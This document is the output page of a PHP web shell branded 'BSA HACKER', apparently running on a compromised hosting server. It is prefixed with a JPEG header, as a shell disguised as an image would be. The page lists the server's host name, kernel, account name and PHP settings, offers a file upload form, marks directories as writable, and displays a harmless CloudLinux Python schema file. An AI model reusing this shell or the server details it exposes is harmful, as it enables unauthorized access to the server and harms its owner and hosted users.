ÿØÿàJFIFHHÿá .
BSA HACKER
Logo of a company Server : Apache
System : Linux nusantara.hosteko.com 4.18.0-553.16.1.lve.el8.x86_64 #1 SMP Tue Aug 13 17:45:03 UTC 2024 x86_64
User : koperas1 ( 1254)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /opt/cloudlinux/venv/lib64/python3.11/site-packages/xray/apiclient/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/cloudlinux/venv/lib64/python3.11/site-packages/xray/apiclient/schemas.py
# -*- coding: utf-8 -*-

# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2021 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

"""
This module contains validation schemas for X Ray Smart Advice local utility
"""

from schema import Schema, And, Or, Optional

from ..adviser.advice_types import (
    supported as supported_advice_types
)


advice_schema = Schema({
    'metadata': Schema({
        'username': str,
        'domain': str,
        'website': str
    }),
    'advice': Schema({
        'id': int,
        'type': And(str, lambda x: x in supported_advice_types,
                    error='Unsupported advice type'),
        'status': str
    }),
    "updated_at": str,
    "created_at": str
})

advice_list_schema = Schema([advice_schema])

user_site_info_schema = Schema({
    'website': str,
    'domain': str,
    'advices': advice_list_schema,
    'urls': [str]
})

user_sites_info_schema = Schema([user_site_info_schema])

detailed_advice_schema = Schema({
    'metadata': Schema({
        'username': str,
        'domain': str,
        'website': str
    }),
    'advice': Schema({
        'id': int,
        'type': And(str, lambda x: x in supported_advice_types,
                    error='Unsupported advice type'),
        'status': str,
        'requests': Schema([{
            'id': int,
            'url': str
        }]),
        Optional('title'): Or(str, None),
        Optional('description'): Or(str, None),
        Optional('apply_advice_button_text'): Or(str, None),
        Optional('upgrade_to_apply_button_text'): Or(str, None),
        Optional('email_view_advice_text'): Or(str, None),
        Optional('email_subject'): Or(str, None)
    }),
    "updated_at": str,
    "created_at": str
})

pullzone_info_schema = Schema({
    "account_id": str,
    "cdn_url": str,
    "website": str,
    "domain_url": str,
})